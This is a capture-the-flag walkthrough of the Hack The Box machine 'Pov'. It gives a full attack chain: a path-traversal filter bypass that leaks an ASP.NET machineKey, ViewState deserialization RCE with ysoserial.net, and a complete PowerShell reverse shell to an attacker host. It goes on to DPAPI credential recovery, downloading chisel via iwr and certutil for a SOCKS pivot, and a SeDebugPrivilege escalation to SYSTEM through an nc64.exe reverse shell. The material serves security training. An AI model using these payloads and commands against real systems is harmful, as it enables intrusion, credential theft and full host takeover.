π¬ Pov
Machine: Pov
Difficulty: Medium
Theme: IIS file read β ASP.NET machineKey leak β ViewState RCE β DPAPI credential recovery β chisel SOCKS pivot β SeDebugPrivilege abuse
π― Summary
Pov exposes only an IIS web server on port 80. Initial web enumeration reveals a development virtual host, dev.pov.htb, which contains a vulnerable file download function. The download parameter allows a remote file read, which exposes the ASP.NET web.config file and its machineKey secrets.
Using the leaked ASP.NET keys, a malicious ViewState payload is generated with ysoserial.net, yielding remote code execution as pov\sfitz. Post-exploitation enumeration of the user profile finds a PowerShell credential export file, connection.xml, which decrypts (via DPAPI in the same user context) to valid credentials for pov\alaading.
Because WinRM is not directly reachable from outside, a reverse SOCKS tunnel is built with chisel so that evil-winrm can authenticate as alaading through proxychains. The alaading user has SeDebugPrivilege enabled, which is abused against a SYSTEM-owned winlogon.exe process using psgetsys.ps1, resulting in code execution as NT AUTHORITY\SYSTEM.
1. Enumeration
Initial scanning showed only IIS on port 80.
Baseline scan
nmap -sC -sV -vv -oA nmap/pov [TARGET_IP]Key findings:
80/tcp open http Microsoft IIS httpd 10.0
http-title: pov.htb
http-server-header: Microsoft-IIS/10.0Full TCP sweep
nmap -p- -vv -oA nmap/pov_portscan [TARGET_IP]Only port 80 was externally reachable, which made the web layer the obvious β and only β initial access surface.
Hosts file
The web title revealed pov.htb:
echo "[TARGET_IP] pov.htb" | sudo tee -a /etc/hostsFurther web enumeration surfaced a development vhost, dev.pov.htb:
echo "[TARGET_IP] pov.htb dev.pov.htb" | sudo tee -a /etc/hosts2. Web Enumeration
Browsing to http://dev.pov.htb revealed a developer portfolio site.
Important clues:
- ASP.NET references
- Download CV button
- Hidden ASP.NET form fields:
__VIEWSTATE__VIEWSTATEGENERATOR__EVENTVALIDATION
The CV download was intercepted in Burp Repeater. The vulnerable request contained a parameter similar to:
file=cv.pdf3. Remote File Read
Initial test
A basic traversal payload was filtered:
file=../web.configThe server appeared to strip ../.
Filter bypass
A nested-traversal payload bypassed the filter:
file=....//web.configThe server removed the inner ../, leaving a valid traversal. This exposed the ASP.NET web.config file.
Sensitive data from web.config
The file contained an ASP.NET machineKey:
<machineKey
decryption="AES"
decryptionKey="[DECRYPTION_KEY]"
validation="SHA1"
validationKey="[VALIDATION_KEY]" />These keys are critical because ASP.NET ViewState integrity and confidentiality depend on them.
Impact:
Leaked machineKey β valid signed/encrypted ViewState payloads β ViewState deserialization/RCE4. ViewState Exploitation with ysoserial.net
Tooling
Used:
ysoserial.net
Wine
Kali Linux
Burp RepeaterInstall supporting packages if needed:
sudo apt install wine winetricks mono-complete -yRun the Windows .exe through Wine:
WINEPREFIX=~/.wine wine ysoserial.exeWine printed noisy Vulkan/HID errors. Those were not necessarily fatal as long as ysoserial still produced output.
Save keys to files
To avoid typo issues, the keys were saved exactly as copied from Burp:
echo -n '[VALIDATION_KEY]' > ~/Desktop/validationKey
echo -n '[DECRYPTION_KEY]' > ~/Desktop/decryptionKeyVerify:
cat ~/Desktop/validationKey
cat ~/Desktop/decryptionKeyDiagnostic generator check
The application request contained:
__VIEWSTATEGENERATOR=8E0F0FA3The important ysoserial sanity check was confirming that ysoserial calculated the same generator value.
WINEPREFIX=~/.wine wine ysoserial.exe \
-p ViewState \
-g TypeConfuseDelegate \
-c "ping -n 5 [LHOST]" \
--path="/portfolio" \
--apppath="/" \
--validationalg="SHA1" \
--validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
--decryptionalg="AES" \
--decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
--islegacy \
--isdebugExpected output:
simulateTemplateSourceDirectory returns: /portfolio
simulateGetTypeName returns: portfolio_default_aspx
Calculated __VIEWSTATEGENERATOR: 8E0F0FA3This confirmed that path, apppath, and key material were aligned.
Important lesson
Do not force --generator during diagnostics.
Let ysoserial calculate it first.PowerShell reverse shell encoding
Raw PowerShell quoting was fragile, so the payload was encoded for:
powershell.exe -EncodedCommandPowerShell -EncodedCommand requires UTF-16LE Base64.
PowerShell payload:
$client = New-Object System.Net.Sockets.TCPClient("[LHOST]",[LPORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()Encode it:
ENC=$(printf '%s' '$client = New-Object System.Net.Sockets.TCPClient("[LHOST]",[LPORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -t UTF-16LE | base64 -w 0)Verify decoding:
echo "$ENC" | base64 -d | iconv -f UTF-16LEImportant gotcha β the IP must be quoted inside the PowerShell payload:
# Bad
TCPClient([LHOST],[LPORT])
# Correct
TCPClient("[LHOST]",[LPORT])Final working ViewState payload
The working final payload was generated without --islegacy.
WINEPREFIX=~/.wine wine ysoserial.exe \
-p ViewState \
-g TypeConfuseDelegate \
-c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $ENC" \
--path="/portfolio" \
--apppath="/" \
--validationalg="SHA1" \
--validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
--decryptionalg="AES" \
--decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
> ~/Desktop/output.txtStart a listener:
nc -lvnp [LPORT]Paste the contents of output.txt directly into the Burp __VIEWSTATE parameter.
Important Burp notes:
Do not Ctrl+U / URL-encode again β the ysoserial output is already URL-encoded.
Keep __VIEWSTATEGENERATOR unchanged.
Keep __EVENTVALIDATION unchanged.
Set file=cv.pdf.Expected result:
connect to [LHOST] from [TARGET_IP]Then verify:
whoamiResult:
pov\sfitz5. Post-Exploitation as sfitz
The initial shell was fragile, so basic enumeration focused on the current userβs profile.
whoami
cd C:\Users\sfitz
dir
dir DocumentsFound:
C:\Users\sfitz\Documents\connection.xmlRead it:
type C:\Users\sfitz\Documents\connection.xmlThe file contained a serialized PowerShell PSCredential object:
<T>System.Management.Automation.PSCredential</T>
<S N="UserName">alaading</S>
<SS N="Password">...</SS>6. Decrypting connection.xml
Because the credential was exported with PowerShell and protected with DPAPI, it could be decrypted from the same user/machine context in which it was created β which is exactly where the current shell was running.
$CredObj = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$CredObj.UserName
$CredObj.GetNetworkCredential().PasswordRecovered:
User: alaading
Password: [RECOVERED_PASSWORD]Create a credential object for reuse:
$SecPass = ConvertTo-SecureString '[RECOVERED_PASSWORD]' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('pov\alaading', $SecPass)Verify the object:
Write-Output ("USERNAME=" + $Cred.UserName)
Write-Output ("DOMAIN=" + $Cred.GetNetworkCredential().Domain)
Write-Output ("USER=" + $Cred.GetNetworkCredential().UserName)Expected:
USERNAME=pov\alaading
DOMAIN=pov
USER=alaadingImportant lesson
Creating $Cred does not switch the current shell user.
Plain whoami still shows pov\sfitz.
The credential must be passed to a cmdlet that supports -Credential.7. WinRM Pivot Problem
alaading was a member of:
BUILTIN\Remote Management UsersThat suggested WinRM access. However, the external Nmap showed only port 80 open, so direct evil-winrm from Kali hung β the WinRM ports were not externally reachable:
5985/tcp - WinRM HTTP
5986/tcp - WinRM HTTPSA reverse tunnel was therefore required.
8. Chisel Reverse SOCKS Tunnel
On Kali
Install chisel if missing:
which chisel || sudo apt update && sudo apt install -y chiselStart the reverse server:
chisel server --reverse -p 8000Expected:
Reverse tunnelling enabled
ListeningUpload chisel.exe to the victim
Host chisel.exe on Kali:
sudo python3 -m http.server 80From the victim:
cd C:\Users\sfitz\Music
iwr http://[LHOST]/chisel.exe -OutFile chisel.exe
dir chisel.exeFallback:
certutil.exe -urlcache -f http://[LHOST]/chisel.exe chisel.exeStart the reverse SOCKS proxy from the victim
.\chisel.exe client [LHOST]:8000 R:socksExpected on Kali:
session#1: tun: proxy#R:127.0.0.1:1080=>socks: ListeningProxychains
Edit /etc/proxychains4.conf:
socks5 127.0.0.1 1080Use evil-winrm through the tunnel:
proxychains -q evil-winrm -i pov.htb -u alaading -p '[RECOVERED_PASSWORD]'Result:
Evil-WinRM shell
C:\Users\alaading\Documents>Verify:
whoami
whoami /priv
whoami /groups9. User Flag
Once stabilized as alaading:
cd C:\Users\alaading\Desktop
dir
type user.txt10. Privilege Escalation Enumeration
whoami /priv showed:
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledThe important lead was:
SeDebugPrivilege = enabledThat privilege allows a user to debug/open privileged processes, and is regularly abusable to execute code in a SYSTEM context.
11. SeDebugPrivilege Abuse
Target process
List processes:
psLook for a SYSTEM-owned process. winlogon.exe is a clean target:
ps winlogonExample:
Id ProcessName
564 winlogonUpload tools
Used:
psgetsys.ps1
nc64.exeFrom Evil-WinRM:
upload psgetsys.ps1
upload nc64.exeIn this run, nc64.exe was uploaded to:
C:\Users\alaading\Desktop\nc64.exeImportant gotcha:
Use the exact uploaded path.
The first attempt failed because nc64.exe was referenced from Documents
while it was actually uploaded to Desktop.Import psgetsys
ipmo .\psgetsys.ps1If blocked, in Evil-WinRM try:
Bypass-4MSI
ipmo .\psgetsys.ps1Start the SYSTEM callback listener
On Kali:
rlwrap nc -lvnp 9001Spawn a SYSTEM shell via the winlogon PID
ImpersonateFromParentPid -ppid [WINLOGON_PID] -command "C:\Windows\System32\cmd.exe" -cmdargs "/c C:\Users\alaading\Desktop\nc64.exe [LHOST] 9001 -e powershell.exe"Example:
ImpersonateFromParentPid -ppid 564 -command "C:\Windows\System32\cmd.exe" -cmdargs "/c C:\Users\alaading\Desktop\nc64.exe 10.10.15.30 9001 -e powershell.exe"Expected callback on Kali:
connect to [LHOST] from [TARGET_IP]Verify:
whoamiResult:
nt authority\system12. Root Flag
As SYSTEM:
cd C:\Users\Administrator\Desktop
dir
type root.txtπ Condensed Attack Chain
IIS web app
β
dev.pov.htb discovered
β
Vulnerable file download (filter bypass: ....//web.config)
β
web.config read
β
ASP.NET machineKey leaked
β
ysoserial.net ViewState RCE
β
Shell as pov\sfitz
β
connection.xml found
β
DPAPI-protected PSCredential decrypted
β
Credentials for pov\alaading recovered
β
chisel reverse SOCKS tunnel
β
Evil-WinRM as pov\alaading
β
SeDebugPrivilege enabled
β
psgetsys.ps1 against winlogon
β
Reverse shell as NT AUTHORITY\SYSTEMπ§ Key Takeaways
- A leaked ASP.NET
machineKeyis functionally equivalent to RCE on the application β ViewState integrity and confidentiality both collapse the moment those values are public. - Path traversal filters that only strip a single
../token can almost always be bypassed with nested syntax like....//. - DPAPI-protected exports (
Export-Clixml,PSCredential) are only secret while the attacker is not the user that wrote them. Once you have code execution as that user, those files become plaintext credentials. - Membership in
Remote Management Usersonly matters if WinRM is reachable. When the only externally exposed port is HTTP, plan on a tunnel (chisel+proxychains) from the start. SeDebugPrivilegeis one of the most consistently abusable Windows privileges. Pairing it with a stable SYSTEM-owned process likewinlogon.exe(rather than LSASS) keeps the escalation clean and low-risk.
β‘ Commands Cheat Sheet
# Enumeration
nmap -sC -sV -vv -oA nmap/pov [TARGET_IP]
nmap -p- -vv -oA nmap/pov_portscan [TARGET_IP]
echo "[TARGET_IP] pov.htb dev.pov.htb" | sudo tee -a /etc/hosts
# File read filter bypass
# file=....//web.config
# ysoserial.net diagnostic
WINEPREFIX=~/.wine wine ysoserial.exe \
-p ViewState -g TypeConfuseDelegate \
-c "ping -n 5 [LHOST]" \
--path="/portfolio" --apppath="/" \
--validationalg="SHA1" --validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
--decryptionalg="AES" --decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
--islegacy --isdebug
# Encode PowerShell payload (UTF-16LE base64)
ENC=$(printf '%s' '<POWERSHELL_PAYLOAD>' | iconv -t UTF-16LE | base64 -w 0)
# Final ViewState payload
WINEPREFIX=~/.wine wine ysoserial.exe \
-p ViewState -g TypeConfuseDelegate \
-c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $ENC" \
--path="/portfolio" --apppath="/" \
--validationalg="SHA1" --validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
--decryptionalg="AES" --decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
> ~/Desktop/output.txt
# Reverse listener
nc -lvnp [LPORT]
# DPAPI credential recovery (on target as sfitz)
# $CredObj = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
# $CredObj.GetNetworkCredential().Password
# Chisel SOCKS tunnel
chisel server --reverse -p 8000 # Kali
.\chisel.exe client [LHOST]:8000 R:socks # Victim
# Evil-WinRM through proxychains
proxychains -q evil-winrm -i pov.htb -u alaading -p '[RECOVERED_PASSWORD]'
# SeDebugPrivilege abuse
# ipmo .\psgetsys.ps1
# ImpersonateFromParentPid -ppid [WINLOGON_PID] \
# -command "C:\Windows\System32\cmd.exe" \
# -cmdargs "/c C:\Users\alaading\Desktop\nc64.exe [LHOST] 9001 -e powershell.exe"
# SYSTEM listener
rlwrap nc -lvnp 9001π Report-Ready Finding Summary
Finding 1 β Arbitrary File Read in Download Function
The development web application exposed a file download function that accepted a user-controlled filename. Path traversal filtering was bypassed using nested traversal syntax, allowing access to sensitive application files such as web.config.
Finding 2 β ASP.NET machineKey Disclosure
The exposed web.config file contained ASP.NET machineKey values. These keys allowed the generation of valid signed/encrypted ViewState payloads.
Finding 3 β ASP.NET ViewState Deserialization RCE
Using the leaked machineKey, a malicious ViewState payload was generated with ysoserial.net. The payload was accepted by the server and resulted in remote command execution as the web application user.
Finding 4 β Insecure Storage of PowerShell Credential Export
A PowerShell PSCredential export was found in the compromised userβs Documents folder. Because the attacker had code execution as the same user on the same host, the credential object could be decrypted via DPAPI, revealing credentials for another user.
Finding 5 β WinRM Lateral Movement via Remote Management Users
The recovered user was a member of Remote Management Users, enabling WinRM access. Since WinRM was not externally exposed, a reverse SOCKS tunnel was used to access it.
Finding 6 β Privilege Escalation via SeDebugPrivilege
The lateral movement user had SeDebugPrivilege enabled. This was abused to spawn a process from a SYSTEM-owned parent process, resulting in command execution as NT AUTHORITY\SYSTEM.
π Related Manual Notes
Field-manual techniques demonstrated on this box:
- Web_Proxies_Burp β request manipulation / ViewState
- Pivoting_Chisel β chisel + proxychains pivot
- Windows_Remote_Management_RDP_WinRM_WMI β WinRM access
- Windows_PrivEsc_Credential_Hunting β DPAPI credential recovery
- Windows_PrivEsc_Token_Privileges β SeDebugPrivilege abuse
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: Only port 80 is externally reachable
Meaning: Any lateral movement that needs WinRM, SMB exec, or RDP will require a tunnel
Next: Plan for chisel reverse SOCKS + proxychains from the start, not as an afterthought
Symptom: Path traversal payload like ../web.config is rejected
Meaning: The filter strips a single ../ token
Next: Nest the traversal: ....//web.config β the inner ../ is removed, leaving a valid path
Symptom: ysoserialβs calculated __VIEWSTATEGENERATOR doesnβt match the requestβs value
Meaning: --path or --apppath is misaligned, not the keys
Next: Donβt force --generator; correct --path/--apppath until ysoserial calculates the same value
Symptom: Burp __VIEWSTATE payload starts with %2FwEy and fails
Meaning: Legacy-style ViewState generation was used
Next: Regenerate the payload without --islegacy
Symptom: ViewState payload pasted in Burp but no callback
Meaning: Either you double-encoded (Ctrl+U) or the payload didnβt deserialize
Next: Paste ysoserial output as-is β itβs already URL-encoded; do not Ctrl+U after paste
Symptom: Burp Send button is greyed out
Meaning: A previous request is still in-flight
Next: Click Cancel and resend
Symptom: Inline PowerShell payload fails or quotes get mangled
Meaning: Raw quoting through ysoserial β cmd is fragile
Next: Encode the payload as UTF-16LE base64 and run via powershell.exe -EncodedCommand $ENC
Symptom: Encoded PowerShell runs but doesnβt connect back
Meaning: The IP in TCPClient(...) isnβt quoted as a string
Next: Use TCPClient("[LHOST]",[LPORT]) β bare IPs are parsed as integer ops
Symptom: Got a callback but no shell prompt appears
Meaning: Minimal reverse shells often donβt echo a prompt
Next: Just type whoami β the shell is live
Symptom: Found connection.xml (Export-Clixml output) but Import-Clixml fails or returns garbage
Meaning: DPAPI-encrypted exports only decrypt in the same user + machine context that wrote them
Next: Read it from the current shell on-host, not after exfiltrating it elsewhere
Symptom: Built $Cred, but whoami still shows the old user
Meaning: $Cred is a credential object for cmdlets, not a session impersonation
Next: Pass it via -Credential to a cmdlet (Invoke-Command, evil-winrm, etc.) β it never changes the current shellβs identity
Symptom: Direct evil-winrm to the target hangs
Meaning: WinRM ports (5985/5986) arenβt externally reachable
Next: Spin up chisel reverse SOCKS, then proxychains evil-winrm -i pov.htb -u <user> -p <pwd>
Symptom: Have SeDebugPrivilege and want a SYSTEM shell
Meaning: Pick a stable SYSTEM-owned parent process; LSASS is overkill and noisier
Next: Use psgetsys.ps1 against winlogon.exeβs PID β stable, clean, and fully sufficient
Symptom: nc64.exe callback fails after ImpersonateFromParentPid
Meaning: Path mismatch β the script references a directory that doesnβt hold the binary
Next: Use the exact uploaded path; check with dir before triggering the impersonation
π Personal Notes
The defining moment on Pov is realizing that the file read primitive is not the goal β it is just the carrier for the machineKey. Once those keys are out, the ViewState RCE is mechanical; the rest of the box is about not getting tangled in PowerShell encoding and Wine output.
The second pivot is recognizing that DPAPI is a context, not a vault. Sitting in sfitzβs shell, connection.xml is just a plaintext credential with extra steps β but only because the shell is running as the user who wrote it. Move it off the host and it becomes opaque again.
The third lesson is environmental: a box that only exposes port 80 is telling you to pivot. Trying to brute force evil-winrm against a port that isnβt there wastes more time than spinning up chisel + proxychains in the first place. Once that habit is internalized, the SeDebugPrivilege finish line is one winlogon PID away.